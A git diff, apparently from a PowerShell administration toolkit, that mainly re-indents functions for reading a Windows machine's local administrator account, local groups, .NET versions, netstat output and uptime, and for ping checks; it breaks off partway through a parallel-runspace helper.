PARAM ( + [Parameter(ParameterSetName = "Main")] + [Alias("CN","__SERVER","PSComputerName")] + [String[]]$ComputerName = $env:ComputerName, - [Parameter(ParameterSetName="Main")] - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, + [Parameter(ParameterSetName="Main")] + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, - [Parameter(ParameterSetName = "CimSession")] - [Microsoft.Management.Infrastructure.CimSession]$CimSession - ) - BEGIN - { - # Default Verbose/Debug message - function Get-DefaultMessage - { - <# - .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING. - Typically called inside another function in the BEGIN Block - #> - PARAM ($Message) - Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" - }#Get-DefaultMessage - } - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message $Computer) - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - # Define Hashtable to hold our properties - $Splatting = @{ - class = "Win32_OperatingSystem" - ErrorAction = Stop - } + [Parameter(ParameterSetName = "CimSession")] + [Microsoft.Management.Infrastructure.CimSession]$CimSession + ) + BEGIN + { + # Default Verbose/Debug message + function Get-DefaultMessage + { + <# + .SYNOPSIS + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + .DESCRIPTION + Helper Function to show default message used in VERBOSE/DEBUG/WARNING. + Typically called inside another function in the BEGIN Block + #> + PARAM ($Message) + Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" + }#Get-DefaultMessage + } + PROCESS + { + FOREACH ($Computer in $ComputerName) + { + TRY + { + Write-Verbose -Message (Get-DefaultMessage -Message $Computer) + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) + { + # Define Hashtable to hold our properties + $Splatting = @{ + class = "Win32_OperatingSystem" + ErrorAction = Stop + } - IF ($PSBoundParameters['CimSession']) - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - CimSession") - # Using cim session already opened - $Query = Get-CIMInstance @Splatting -CimSession $CimSession - } - ELSE - { - # Credential specified - IF ($PSBoundParameters['Credential']) - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Credential specified $($Credential.username)") - $Splatting.Credential = $Credential - } + IF ($PSBoundParameters['CimSession']) + { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - CimSession") + # Using cim session already opened + $Query = Get-CIMInstance @Splatting -CimSession $CimSession + } + ELSE + { + # Credential specified + IF ($PSBoundParameters['Credential']) + { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Credential specified $($Credential.username)") + $Splatting.Credential = $Credential + } - # Set the ComputerName into the splatting - $Splatting.ComputerName = $ComputerName - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject") - $Query = Get-WmiObject @Splatting - } + # Set the ComputerName into the splatting + $Splatting.ComputerName = $ComputerName + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject") + $Query = Get-WmiObject @Splatting + } - # Prepare output - $Properties = @{ - ComputerName = $Computer - OperatingSystem = $Query.Caption - } + # Prepare output + $Properties = @{ + ComputerName = $Computer + OperatingSystem = $Query.Caption + } - # Output - New-Object -TypeName PSObject -Property $Properties - } - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue to connect") - Write-Verbose -Message $Error[0].Exception.Message - }#CATCH - FINALLY - { - $Splatting.Clear() - } - }#FOREACH - }#PROCESS - END - { - Write-Warning -Message (Get-DefaultMessage -Message "Script completed") - } + # Output + New-Object -TypeName PSObject -Property $Properties + } + } + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue to connect") + Write-Verbose -Message $Error[0].Exception.Message + }#CATCH + FINALLY + { + $Splatting.Clear() + } + }#FOREACH + }#PROCESS + END + { + Write-Warning -Message (Get-DefaultMessage -Message "Script completed") + } }#Function \ No newline at end of file diff --git a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 index a01889b0..cf22420e 100644 --- a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 +++ b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 @@ -1,52 +1,52 @@ function Get-LocalAdministratorBuiltin { <# - .SYNOPSIS - function to retrieve the local Administrator account + .SYNOPSIS + function to retrieve the local Administrator account - .DESCRIPTION - function to retrieve the local Administrator account + .DESCRIPTION + function to retrieve the local Administrator account - .PARAMETER ComputerName - Specifies the computername + .PARAMETER ComputerName + Specifies the computername - .EXAMPLE - PS C:\> Get-LocalAdministratorBuiltin + .EXAMPLE + PS C:\> Get-LocalAdministratorBuiltin - .EXAMPLE - PS C:\> Get-LocalAdministratorBuiltin -ComputerName SERVER01 + .EXAMPLE + PS C:\> Get-LocalAdministratorBuiltin -ComputerName SERVER01 - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin - #function to get the BUILTIN LocalAdministrator - #http://blog.simonw.se/powershell-find-builtin-local-administrator-account/ + #function to get the BUILTIN LocalAdministrator + #http://blog.simonw.se/powershell-find-builtin-local-administrator-account/ #> - [CmdletBinding()] - param ( - [Parameter()] - $ComputerName = $env:computername - ) - Process - { - Foreach ($Computer in $ComputerName) - { - Try - { - Add-Type -AssemblyName System.DirectoryServices.AccountManagement - $PrincipalContext = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Computer) - $UserPrincipal = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal($PrincipalContext) - $Searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher - $Searcher.QueryFilter = $UserPrincipal - $Searcher.FindAll() | Where-Object { $_.Sid -Like "*-500" } - } - Catch - { - Write-Warning -Message "$($_.Exception.Message)" - } - } - } + [CmdletBinding()] + param ( + [Parameter()] + $ComputerName = $env:computername + ) + Process + { + Foreach ($Computer in $ComputerName) + { + Try + { + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $PrincipalContext = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Computer) + $UserPrincipal = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal($PrincipalContext) + $Searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher + $Searcher.QueryFilter = $UserPrincipal + $Searcher.FindAll() | Where-Object { $_.Sid -Like "*-500" } + } + Catch + { + Write-Warning -Message "$($_.Exception.Message)" + } + } + } } \ No newline at end of file diff --git a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 index 581d8d5e..a43690da 100644 --- a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 +++ b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 @@ -2,60 +2,60 @@ { <# - .SYNOPSIS - This script can be list all of local group account. + .SYNOPSIS + This script can be list all of local group account. - .DESCRIPTION - This script can be list all of local group account. - The function is using WMI to connect to the remote machine + .DESCRIPTION + This script can be list all of local group account. + The function is using WMI to connect to the remote machine - .PARAMETER ComputerName - Specifies the computers on which the command . The default is the local computer. + .PARAMETER ComputerName + Specifies the computers on which the command . The default is the local computer. - .PARAMETER Credential - A description of the Credential parameter. + .PARAMETER Credential + A description of the Credential parameter. - .EXAMPLE - Get-LocalGroup + .EXAMPLE + Get-LocalGroup - This example shows how to list all the local groups on local computer. + This example shows how to list all the local groups on local computer. - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> - PARAM - ( - [Alias('cn')] - [String[]]$ComputerName = $Env:COMPUTERNAME, - - [String]$AccountName, - - [System.Management.Automation.PsCredential]$Credential - ) - - $Splatting = @{ - Class = "Win32_Group" - Namespace = "root\cimv2" - Filter = "LocalAccount='$True'" - } - - #Credentials - If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } - - Foreach ($Computer in $ComputerName) - { - TRY - { - Write-Verbose -Message "[PROCESS] ComputerName: $Computer" - Get-WmiObject @Splatting -ComputerName $Computer | Select-Object -Property Name, Caption, Status, SID, SIDType, Domain, Description - } - CATCH - { - Write-Warning -Message "[PROCESS] Issue connecting to $Computer" - } - } + PARAM + ( + [Alias('cn')] + [String[]]$ComputerName = $Env:COMPUTERNAME, + + [String]$AccountName, + + [System.Management.Automation.PsCredential]$Credential + ) + + $Splatting = @{ + Class = "Win32_Group" + Namespace = "root\cimv2" + Filter = "LocalAccount='$True'" + } + + #Credentials + If ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + Foreach ($Computer in $ComputerName) + { + TRY + { + Write-Verbose -Message "[PROCESS] ComputerName: $Computer" + Get-WmiObject @Splatting -ComputerName $Computer | Select-Object -Property Name, Caption, Status, SID, SIDType, Domain, Description + } + CATCH + { + Write-Warning -Message "[PROCESS] Issue connecting to $Computer" + } + } } \ No newline at end of file diff --git a/TOOL-Get-NetFramework/Get-NetFramework.ps1 b/TOOL-Get-NetFramework/Get-NetFramework.ps1 index 9f75ecca..a944f3f9 100644 --- a/TOOL-Get-NetFramework/Get-NetFramework.ps1 +++ b/TOOL-Get-NetFramework/Get-NetFramework.ps1 @@ -1,61 +1,61 @@ function Get-NetFramework { - <# - .SYNOPSIS - This function will retrieve the list of Framework Installed on the computer. - .EXAMPLE - Get-NetFramework - - PSChildName Version - ----------- ------- - v2.0.50727 2.0.50727.4927 - v3.0 3.0.30729.4926 - Windows Communication Foundation 3.0.4506.4926 - Windows Presentation Foundation 3.0.6920.4902 - v3.5 3.5.30729.4926 - Client 4.5.51641 - Full 4.5.51641 - Client 4.0.0.0 - - .NOTES - TODO: - Credential support - ComputerName - $hklm = 2147483650 - $key = "SOFTWARE\Microsoft\NET Framework Setup" - $value = "NDP" - Get-wmiobject -list "StdRegProv" -namespace root\default -computername . | - Invoke-WmiMethod -name GetDWORDValue -ArgumentList $hklm,$key,$value | select uvalue + <# + .SYNOPSIS + This function will retrieve the list of Framework Installed on the computer. + .EXAMPLE + Get-NetFramework + + PSChildName Version + ----------- ------- + v2.0.50727 2.0.50727.4927 + v3.0 3.0.30729.4926 + Windows Communication Foundation 3.0.4506.4926 + Windows Presentation Foundation 3.0.6920.4902 + v3.5 3.5.30729.4926 + Client 4.5.51641 + Full 4.5.51641 + Client 4.0.0.0 + + .NOTES + TODO: + Credential support + ComputerName + $hklm = 2147483650 + $key = "SOFTWARE\Microsoft\NET Framework Setup" + $value = "NDP" + Get-wmiobject -list "StdRegProv" -namespace root\default -computername . | + Invoke-WmiMethod -name GetDWORDValue -ArgumentList $hklm,$key,$value | select uvalue #http://stackoverflow.com/questions/27375012/check-remote-wmi-and-remote-registry - #> - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName, - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - $Splatting = @{ - ComputerName = $ComputerName - } - - if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } - - Invoke-Command @Splatting -ScriptBlock { - Write-Verbose -Message "$pscomputername" - - # Get the Net Framework Installed - $netFramework = Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | - Get-ItemProperty -name Version -EA 0 | - Where-Object { $_.PSChildName -match '^(?!S)\p{L}' } | - Select-Object -Property PSChildName, Version - - # Prepare output - $Properties = @{ - ComputerName = "$($env:Computername)$($env:USERDNSDOMAIN)" - PowerShellVersion = $psversiontable.PSVersion.Major - NetFramework = $netFramework - } - New-Object -TypeName PSObject -Property $Properties - } + #> + [CmdletBinding()] + PARAM ( + [String[]]$ComputerName, + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + ComputerName = $ComputerName + } + + if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } + + Invoke-Command @Splatting -ScriptBlock { + Write-Verbose -Message "$pscomputername" + + # Get the Net Framework Installed + $netFramework = Get-ChildItem -Path 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | + Get-ItemProperty -name Version -EA 0 | + Where-Object { $_.PSChildName -match '^(?!S)\p{L}' } | + Select-Object -Property PSChildName, Version + + # Prepare output + $Properties = @{ + ComputerName = "$($env:Computername)$($env:USERDNSDOMAIN)" + PowerShellVersion = $psversiontable.PSVersion.Major + NetFramework = $netFramework + } + New-Object -TypeName PSObject -Property $Properties + } } \ No newline at end of file diff --git a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 index 72fa3f35..7869f6ba 100644 --- a/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 +++ b/TOOL-Get-NetFrameworkTypeAccelerator/Get-NetFrameworkTypeAccelerator.ps1 @@ -2,23 +2,23 @@ { <# .SYNOPSIS - Function to retrieve the list of Type Accelerator available + Function to retrieve the list of Type Accelerator available .EXAMPLE - Get-NetFrameworkTypeAccelerator + Get-NetFrameworkTypeAccelerator - Return the list of Type Accelerator available on your system + Return the list of Type Accelerator available on your system .EXAMPLE - Get-Accelerator + Get-Accelerator - Return the list of Type Accelerator available on your system - This is a function alias created by [Alias()] + Return the list of Type Accelerator available on your system + This is a function alias created by [Alias()] .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin - github.com/lazywinadmin + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + github.com/lazywinadmin #> - [Alias('Get-Acceletrator')] - PARAM () - [System.Management.Automation.PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get + [Alias('Get-Acceletrator')] + PARAM () + [System.Management.Automation.PSObject].Assembly.GetType("System.Management.Automation.TypeAccelerators")::get } \ No newline at end of file diff --git a/TOOL-Get-NetStat/Get-NetStat.ps1 b/TOOL-Get-NetStat/Get-NetStat.ps1 index 959c1154..288179b5 100644 --- a/TOOL-Get-NetStat/Get-NetStat.ps1 +++ b/TOOL-Get-NetStat/Get-NetStat.ps1 @@ -2,45 +2,45 @@ { <# .SYNOPSIS - This function will get the output of netstat -n and parse the output + This function will get the output of netstat -n and parse the output .DESCRIPTION - This function will get the output of netstat -n and parse the output + This function will get the output of netstat -n and parse the output .LINK - http://www.lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html + http://www.lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> - PROCESS - { - # Get the output of netstat - $data = netstat -n + PROCESS + { + # Get the output of netstat + $data = netstat -n - # Keep only the line with the data (we remove the first lines) - $data = $data[4..$data.count] + # Keep only the line with the data (we remove the first lines) + $data = $data[4..$data.count] - # Each line need to be splitted and get rid of unnecessary spaces - foreach ($line in $data) - { - # Get rid of the first whitespaces, at the beginning of the line - $line = $line -replace '^\s+', '' + # Each line need to be splitted and get rid of unnecessary spaces + foreach ($line in $data) + { + # Get rid of the first whitespaces, at the beginning of the line + $line = $line -replace '^\s+', '' - # Split each property on whitespaces block - $line = $line -split '\s+' + # Split each property on whitespaces block + $line = $line -split '\s+' - # Define the properties - $properties = @{ - Protocole = $line[0] - LocalAddressIP = ($line[1] -split ":")[0] - LocalAddressPort = ($line[1] -split ":")[1] - ForeignAddressIP = ($line[2] -split ":")[0] - ForeignAddressPort = ($line[2] -split ":")[1] - State = $line[3] - } + # Define the properties + $properties = @{ + Protocole = $line[0] + LocalAddressIP = ($line[1] -split ":")[0] + LocalAddressPort = ($line[1] -split ":")[1] + ForeignAddressIP = ($line[2] -split ":")[0] + ForeignAddressPort = ($line[2] -split ":")[1] + State = $line[3] + } - # Output the current line - New-Object -TypeName PSObject -Property $properties - } - } + # Output the current line + New-Object -TypeName PSObject -Property $properties + } + } } \ No newline at end of file diff --git a/TOOL-Get-Uptime/Get-Uptime.ps1 b/TOOL-Get-Uptime/Get-Uptime.ps1 index 69d15cb2..fe691a49 100644 --- a/TOOL-Get-Uptime/Get-Uptime.ps1 +++ b/TOOL-Get-Uptime/Get-Uptime.ps1 @@ -1,186 +1,186 @@ function Get-Uptime { <# - .SYNOPSIS - The function Get-Uptime will get uptime of a local or remote machine. + .SYNOPSIS + The function Get-Uptime will get uptime of a local or remote machine. - .DESCRIPTION - The function Get-Uptime will get uptime of a local or remote machine. - This function is compatible with CIM sessions and alternative credentials. + .DESCRIPTION + The function Get-Uptime will get uptime of a local or remote machine. + This function is compatible with CIM sessions and alternative credentials. - .PARAMETER ComputerName - Specifies the computername + .PARAMETER ComputerName + Specifies the computername - .PARAMETER Credential - Specifies the credential to use + .PARAMETER Credential + Specifies the credential to use - .PARAMETER CimSession - Specifies one or more existing CIM Session(s) to use + .PARAMETER CimSession + Specifies one or more existing CIM Session(s) to use - .EXAMPLE - PS C:\> Get-Uptime -ComputerName DC01 + .EXAMPLE + PS C:\> Get-Uptime -ComputerName DC01 - .EXAMPLE - PS C:\> Get-Uptime -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") + .EXAMPLE + PS C:\> Get-Uptime -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - .EXAMPLE - PS C:\> Get-Uptime -CimSession $Session + .EXAMPLE + PS C:\> Get-Uptime -CimSession $Session - .EXAMPLE - PS C:\> Get-Uptime -CimSession $Session1,$session2,$session3 + .EXAMPLE + PS C:\> Get-Uptime -CimSession $Session1,$session2,$session3 - .NOTES - Francois-Xavier Cat - @lazywinadmin - www.lazywinadmin.com + .NOTES + Francois-Xavier Cat + @lazywinadmin + www.lazywinadmin.com #> - [CmdletBinding()] - PARAM ( - [Parameter( - ParameterSetName = "Main", - ValueFromPipeline = $True, - ValueFromPipelineByPropertyName = $True)] - [Alias("CN", "__SERVER", "PSComputerName")] - [String[]]$ComputerName=$env:COMPUTERNAME, - - [Parameter(ParameterSetName = "Main")] - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(ParameterSetName = "CimSession")] - [Microsoft.Management.Infrastructure.CimSession[]]$CimSession - ) - BEGIN - { - # Helper Function - function Get-DefaultMessage - { + [CmdletBinding()] + PARAM ( + [Parameter( + ParameterSetName = "Main", + ValueFromPipeline = $True, + ValueFromPipelineByPropertyName = $True)] + [Alias("CN", "__SERVER", "PSComputerName")] + [String[]]$ComputerName=$env:COMPUTERNAME, + + [Parameter(ParameterSetName = "Main")] + [Alias("RunAs")] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(ParameterSetName = "CimSession")] + [Microsoft.Management.Infrastructure.CimSession[]]$CimSession + ) + BEGIN + { + # Helper Function + function Get-DefaultMessage + { <# .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING + Helper Function to show default message used in VERBOSE/DEBUG/WARNING .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - and... HOST in some case. - This is helpful to standardize the output messages + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + and... HOST in some case. + This is helpful to standardize the output messages .PARAMETER Message - Specifies the message to show + Specifies the message to show .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadmin + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadmin #> - PARAM ($Message) - $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' - $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - Write-Output "[$DateFormat][$FunctionName] $Message" - }#Get-DefaultMessage - } - PROCESS - { - IF ($PSBoundParameters['CimSession']) - { - FOREACH ($Cim in $CimSession) - { - $CIMComputer = $($Cim.ComputerName).ToUpper() - - TRY - { - # Parameters for Get-CimInstance - $CIMSplatting = @{ - Class = "Win32_OperatingSystem" - CimSession = $Cim - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessGetCimInstance" - } - - - Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - Get-Uptime") - $CimResult = Get-CimInstance @CIMSplatting - - # Prepare output - $Uptime = New-TimeSpan -Start $($CimResult.lastbootuptime) -End (get-date) - - $Properties = @{ - ComputerName = $CIMComputer - Days = $Uptime.days - Hours = $Uptime.hours - Minutes = $Uptime.minutes - Seconds = $Uptime.seconds - LastBootUpTime = $CimResult.lastbootuptime - } - - # Output the information - New-Object -TypeName PSObject -Property $Properties - - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Something wrong happened") - IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } - Write-Warning -Message $Error[0].Exception.Message - } #CATCH - FINALLY - { - $CIMSplatting.Clear() | Out-Null - } - } #FOREACH ($Cim in $CimSessions) - } #IF ($PSBoundParameters['CimSession']) - ELSE - { - FOREACH ($Computer in $ComputerName) - { - $Computer = $Computer.ToUpper() - - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -Computer $Computer -count 1 -quiet) - { - $Splatting = @{ - Class = "Win32_OperatingSystem" - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ErrorProcessGetWmi' - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.credential = $Credential - } - - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Getting Uptime") - $result = Get-WmiObject @Splatting - - - # Prepare output - $HumanTimeFormat = $Result.ConvertToDateTime($Result.Lastbootuptime) - $Uptime = New-TimeSpan -Start $HumanTimeFormat -End $(get-date) - - $Properties = @{ - ComputerName = $Computer - Days = $Uptime.days - Hours = $Uptime.hours - Minutes = $Uptime.minutes - Seconds = $Uptime.seconds - LastBootUpTime = $CimResult.lastbootuptime - } - # Output the information - New-Object -TypeName PSObject -Property $Properties - } - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$$Computer - Something wrong happened") - IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } - Write-Warning -MEssage $Error[0].Exception.Message - } - FINALLY - { - $Splatting.Clear() - } - }#FOREACH - } #ELSE (Not CIM) - }#PROCESS + PARAM ($Message) + $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + Write-Output "[$DateFormat][$FunctionName] $Message" + }#Get-DefaultMessage + } + PROCESS + { + IF ($PSBoundParameters['CimSession']) + { + FOREACH ($Cim in $CimSession) + { + $CIMComputer = $($Cim.ComputerName).ToUpper() + + TRY + { + # Parameters for Get-CimInstance + $CIMSplatting = @{ + Class = "Win32_OperatingSystem" + CimSession = $Cim + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessGetCimInstance" + } + + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - Get-Uptime") + $CimResult = Get-CimInstance @CIMSplatting + + # Prepare output + $Uptime = New-TimeSpan -Start $($CimResult.lastbootuptime) -End (get-date) + + $Properties = @{ + ComputerName = $CIMComputer + Days = $Uptime.days + Hours = $Uptime.hours + Minutes = $Uptime.minutes + Seconds = $Uptime.seconds + LastBootUpTime = $CimResult.lastbootuptime + } + + # Output the information + New-Object -TypeName PSObject -Property $Properties + + } + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Something wrong happened") + IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } + Write-Warning -Message $Error[0].Exception.Message + } #CATCH + FINALLY + { + $CIMSplatting.Clear() | Out-Null + } + } #FOREACH ($Cim in $CimSessions) + } #IF ($PSBoundParameters['CimSession']) + ELSE + { + FOREACH ($Computer in $ComputerName) + { + $Computer = $Computer.ToUpper() + + TRY + { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -Computer $Computer -count 1 -quiet) + { + $Splatting = @{ + Class = "Win32_OperatingSystem" + ComputerName = $Computer + ErrorAction = 'Stop' + ErrorVariable = 'ErrorProcessGetWmi' + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.credential = $Credential + } + + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Getting Uptime") + $result = Get-WmiObject @Splatting + + + # Prepare output + $HumanTimeFormat = $Result.ConvertToDateTime($Result.Lastbootuptime) + $Uptime = New-TimeSpan -Start $HumanTimeFormat -End $(get-date) + + $Properties = @{ + ComputerName = $Computer + Days = $Uptime.days + Hours = $Uptime.hours + Minutes = $Uptime.minutes + Seconds = $Uptime.seconds + LastBootUpTime = $CimResult.lastbootuptime + } + # Output the information + New-Object -TypeName PSObject -Property $Properties + } + } + CATCH + { + Write-Warning -Message (Get-DefaultMessage -Message "$$Computer - Something wrong happened") + IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } + Write-Warning -MEssage $Error[0].Exception.Message + } + FINALLY + { + $Splatting.Clear() + } + }#FOREACH + } #ELSE (Not CIM) + }#PROCESS }#Function \ No newline at end of file diff --git a/TOOL-Invoke-Ping/Invoke-Ping.ps1 b/TOOL-Invoke-Ping/Invoke-Ping.ps1 index ae21015a..6dfc8f6d 100644 --- a/TOOL-Invoke-Ping/Invoke-Ping.ps1 +++ b/TOOL-Invoke-Ping/Invoke-Ping.ps1 @@ -59,903 +59,903 @@ Function Invoke-Ping Computers .NOTES - Warren F - http://ramblingcookiemonster.github.io/Invoke-Ping/ + Warren F + http://ramblingcookiemonster.github.io/Invoke-Ping/ #> - [cmdletbinding(DefaultParameterSetName = 'Ping')] - param ( - [Parameter(ValueFromPipeline = $true, - ValueFromPipelineByPropertyName = $true, - Position = 0)] - [string[]]$ComputerName, + [cmdletbinding(DefaultParameterSetName = 'Ping')] + param ( + [Parameter(ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + Position = 0)] + [string[]]$ComputerName, - [Parameter(ParameterSetName = 'Detail')] - [validateset("*", "WSMan", "RemoteReg", "RPC", "RDP", "SMB")] - [string[]]$Detail, + [Parameter(ParameterSetName = 'Detail')] + [validateset("*", "WSMan", "RemoteReg", "RPC", "RDP", "SMB")] + [string[]]$Detail, - [Parameter(ParameterSetName = 'Ping')] - [switch]$Quiet, + [Parameter(ParameterSetName = 'Ping')] + [switch]$Quiet, - [int]$Timeout = 20, + [int]$Timeout = 20, - [int]$Throttle = 100, + [int]$Throttle = 100, - [switch]$NoCloseOnTimeout - ) - Begin - { + [switch]$NoCloseOnTimeout + ) + Begin + { - #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 - function Invoke-Parallel - { - [cmdletbinding(DefaultParameterSetName = 'ScriptBlock')] - Param ( - [Parameter(Mandatory = $false, position = 0, ParameterSetName = 'ScriptBlock')] - [System.Management.Automation.ScriptBlock]$ScriptBlock, + #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 + function Invoke-Parallel + { + [cmdletbinding(DefaultParameterSetName = 'ScriptBlock')] + Param ( + [Parameter(Mandatory = $false, position = 0, ParameterSetName = 'ScriptBlock')] + [System.Management.Automation.ScriptBlock]$ScriptBlock, - [Parameter(Mandatory = $false, ParameterSetName = 'ScriptFile')] - [ValidateScript({ test-path $_ -pathtype leaf })] - $ScriptFile, + [Parameter(Mandatory = $false, ParameterSetName = 'ScriptFile')] + [ValidateScript({ test-path $_ -pathtype leaf })] + $ScriptFile, - [Parameter(Mandatory = $true, ValueFromPipeline = $true)] - [Alias('CN', '__Server', 'IPAddress', 'Server', 'ComputerName')] - [PSObject]$InputObject, + [Parameter(Mandatory = $true, ValueFromPipeline = $true)] + [Alias('CN', '__Server', 'IPAddress', 'Server', 'ComputerName')] + [PSObject]$InputObject, - [PSObject]$Parameter, - - [switch]$ImportVariables, - - [switch]$ImportModules, - - [int]$Throttle = 20, - - [int]$SleepTimer = 200, - - [int]$RunspaceTimeout = 0, - - [switch]$NoCloseOnTimeout = $false, - - [int]$MaxQueue, - - [validatescript({ Test-Path (Split-Path $_ -parent) })] - [string]$LogFile = "C:\temp\log.log", - - [switch]$Quiet = $false - ) - - Begin - { - - #No max queue specified? Estimate one. - #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function - if (-not $PSBoundParameters.ContainsKey('MaxQueue')) - { - if ($RunspaceTimeout -ne 0) { $script:MaxQueue = $Throttle } - else { $script:MaxQueue = $Throttle * 3 } - } - else - { - $script:MaxQueue = $MaxQueue - } - - Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" - - #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items - if ($ImportVariables -or $ImportModules) - { - $StandardUserEnv = [powershell]::Create().addscript({ - - #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name - - #Get variables 